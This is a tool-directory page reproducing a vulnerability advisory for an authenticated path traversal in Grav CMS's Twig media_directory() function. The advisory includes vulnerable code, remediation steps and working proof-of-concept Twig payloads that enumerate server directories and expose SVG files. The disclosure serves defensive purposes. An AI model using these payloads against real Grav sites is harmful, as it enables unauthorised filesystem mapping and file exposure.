Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-78851 — Technical advisory detailing an authenticated path traversal vulnerability in Grav CMS's Twig media_directory() function, enabling arbitrary directory enumeration and filesystem path disclosure. | Kitploit
Tools/GitHubGitHub/slo-cyber-sec/cve-2026-78851
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

Technical advisory detailing an authenticated path traversal vulnerability in Grav CMS's Twig media_directory() function, enabling arbitrary directory enumeration and filesystem path disclosure.

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Grav Authenticated Path Traversal / Arbitrary Directory Disclosure via Twig media_directory()

Reporter

Name: CYBER-SEC
Contact: [email protected]

Summary

Grav's Twig function media_directory() is exposed inside the page-content Twig sandbox allowlist but does not properly enforce path containment for non-stream input.

An authenticated user with page-editing privileges can call media_directory('/absolute/path') or use relative traversal such as media_directory('../../../../path') inside Twig-enabled page content. Grav then indexes media-type files from directories readable by the web server user.

The returned Medium objects expose sandbox-allowed properties such as and , resulting in arbitrary directory enumeration and absolute filesystem path disclosure. For image/SVG files, URL or cache generation may expose files through Grav's public cache handling.

filepath
filename

This is an authenticated information disclosure vulnerability. It is not known to allow unauthenticated exploitation or direct remote code execution.

Affected Product

Product: Grav flat-file CMS
Repository: https://github.com/getgrav/grav
Affected versions verified: 2.0.3, 2.0.4, 2.0.6
Component: Twig media_directory() / Grav page-content Twig sandbox

CWE

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal")
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

CVSS v3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base Score: 6.5 Medium

Attack Requirements

  • Attacker must be authenticated.
  • Attacker must have page-editing privileges.
  • Twig content processing must be enabled.
  • The target directory must be readable by the web server user.

Technical Details

The vulnerable sink is located in:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

Relevant logic:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

Only stream:// inputs are resolved through Grav's locator. Non-stream absolute or relative paths are passed verbatim into new Media($media_dir) without canonical realpath() validation, traversal rejection, or containment to approved Grav-controlled directories.

The function is exposed through the page-content Twig sandbox allowlist:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

The sandbox also allows Medium methods/properties such as:

root@kitploit:~
filepath
filename
url
cache
resize

This allows an authenticated page editor to disclose filenames and absolute paths from arbitrary readable directories. For image/SVG files, public URL/cache generation may expose the file content.

Proof of Concept

With Twig content processing enabled, create or edit a Grav page and insert:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Traversal form:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Image/SVG exposure example:

root@kitploit:~
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}

When the page is saved and rendered, Grav indexes files from the attacker-controlled path and exposes filenames and absolute filesystem paths.

Verified Behavior

Verified against Grav 2.0.6 using the linuxserver/grav:latest Docker image.

Observed results included:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

Relative traversal was also confirmed:

root@kitploit:~
../../../../app/www/public

SVG file exposure through .url was also confirmed in a controlled local test environment.

Impact

An authenticated page editor can:

  • Enumerate media-type files in arbitrary directories readable by the web server user.
  • Disclose absolute filesystem paths and filenames.
  • Map application structure and server-side filesystem layout.
  • Identify sensitive files, backups, configuration files, logs, or deployment artifacts by name.
  • Potentially expose image/SVG files outside the intended webroot through public cache or URL generation.

This vulnerability is disclosure-class and should not be reported as remote code execution.

Remediation

Recommended fixes:

  1. Remove media_directory from the page-content Twig sandbox allowlist.

or:

  1. Apply strict canonical path containment to media_directory():
  • Resolve all paths using realpath().
  • Reject paths containing traversal sequences.
  • Reject paths that resolve outside approved Grav-controlled roots.
  • Allow only safe roots such as user://pages, user://images, or other explicitly approved media directories.
  • Revalidate paths before file indexing and before cache/URL generation.

Disclosure

This issue was reported by CYBER-SEC.

References

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
Download Tool